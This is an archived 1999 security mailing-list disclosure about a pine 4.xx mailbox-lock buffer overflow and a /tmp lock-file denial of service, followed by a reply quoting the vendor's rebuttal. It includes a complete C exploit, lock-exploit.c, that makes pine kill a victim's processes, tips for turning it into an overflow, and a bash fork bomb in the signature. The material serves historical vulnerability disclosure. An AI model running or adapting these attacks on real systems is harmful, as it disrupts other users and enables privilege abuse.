pine.4.xx.bof.txt

`Date: Sun, 7 Mar 1999 01:41:25 +0100  
From: Michal Zalewski <[email protected]>  
  
Overflow in pine 4.xx (Linux)  
  
pine 4.xx, at least on Linux platform, have serious security hole.  
When data is read from so-called mailbox lock created in /tmp directory  
(this happens under certain conditions - please refer exploit code below),  
it's stored in _too_small_ buffer. It is possible to overwrite some data,  
and registers as well. For testing purposes, simple exploit code presented  
below (vunerabilities 3 and 4) could be used - suggested changes:  
  
write(i,"-1",2) -> write(i,"(about 1100 b)",1100)  
truncate(i,2) -> truncate(i,1100);  
  
Overflow in pine might be used to gain other lusers' privledges (or,  
sometimes, root privledges, depending on his stupidity ;-).  
  
Solution: you have to look for something like kill(i,SIGUSR2) in sources   
and modify lines just before it ;>  
  
  
The problem is probably well known, but silently ignored by pine vendors.  
Unfortunately, it's possible to turn 'mostly harmless feature' in  
something nasty - following code allows various DoSes by killing all  
processes of luser (could be root?) every time he/she runs pine or  
receives mail via POP3 protocol:  
  
-- lock-exploit.c --  
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.  
  
#include <sys/file.h>  
#include <sys/stat.h>  
#include <unistd.h>  
  
main(int argc,char* argv[]) {  
int i,a=0;  
char s[100];  
struct stat x;  
if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));  
sprintf(s,"/var/spool/mail/%s",argv[1]);  
if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));  
sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);  
fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);  
while (1) {  
lseek(i,0,0);  
write(i,"-1",2);  
ftruncate(i,2);  
fsync(i);  
if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);  
else printf("File %s already locked, wait...\n",s);  
sleep(1);  
}  
}  
-- eof --  
  
Works well under Linux. Under BSD, pine seems to have broken mailbox  
access negotiation (fortunately ;-). No information about ipop3d.  
  
Mainly, this vunerability demonstrates that world-writable mailbox locks  
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's  
'harmless', while other solutions allows several DoS attacks... huh).  
  
  
_______________________________________________________________________  
Michal Zalewski [[email protected]] [link / marchew] [dione.ids.pl SYSADM]  
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:  
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]  
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]  
  
-----------------------------------------------------------------------------  
  
Date: Fri, 9 Apr 1999 13:09:01 +0200  
From: M.C.Mar <[email protected]>  
Reply-To: M.C.Mar <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
On Thu, 8 Apr 1999, Mark Crispin wrote:  
  
> We thought these claims required a response from us since they contain  
> misleading information and only about 20% fact. And by the way, we were  
> not contacted before this post was made to BUGTRAQ, as protocol states.  
>  
> The impact is only with the standard UNIX format.  
>  
> The buffer overflow claim, and in particular the alleged root compromise, is  
> bogus. The process is not root when mailboxes are open; nor can it get root  
> back. He is confused by the SVR4 semantics of UID; the caveat about the  
> real UID does not apply to root processes doing setuid().  
>  
> The maximum exposure is that one byte of stack frame may be set to zero,  
> because of a "buf[x] = 0" for a stack buffer of length x. This may cause a  
> SEGV; more likely it will just clobber a variable that isn't used after that  
> point in the function anyway. It is not possible to write something else, nor  
> is it possible to write at any other location.  
>  
> In other words, this "buffer overflow" bug is just an ordinary bug. It  
> doesn't happen unless the software is abused, and even may be totally harmless  
> depending upon the code that your C compiler generates. It is *NOT* a  
> security bug in the normal sense.  
>  
ALL ABOVE IS TRUE ONLY FOR PINE, NOT FOR PINE COMPOONENTS (as ipop3d or  
imap, which is also vulnerable to semilocal buffer overflow that allows  
any user to read /etc/shadow). I tryed to explit pine, ipop3d [POP3  
3.3(20) w/IMAP2 client (Comments to [email protected])] and imap  
[IMAP2bis Service 7.8(100)].  
  
1) I could not execute any code using pine although gdb shows I  
overwrited stack ret and ip register points to what I want.  
2) I could read /etc/shadow exploiting ipop3d.  
3) I could read /etc/shadow exploiting imap.  
  
> Now, we'll talk about the 20% that is fact. Yes, it is possible to write  
> a negative process ID in the lock file. This requires that the attacker  
> have shell access; it can't be mounted remotely. It also requires that  
> the attacker have a program running at the time that the victim opens his  
> mail file.  
>  
True.  
  
> Not only is the program running, but it has the lock file open and locked. In  
> other words, it's incredibly easy to catch; particularly if you have lsof.  
> Nor can there be any question of intent when it comes to prosecution. Only an  
> extremely stupid individual would try it.  
>  
It is true only for pine itself, and I think it shoud be fixed at all.  
  
--  
___________________________________________________________________________  
M.C.Mar An NT server can be run by an idiot, and usually is. [email protected]  
"If you can't make it good, make it LOOK good." - Bill Gates  
Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty.  
  
`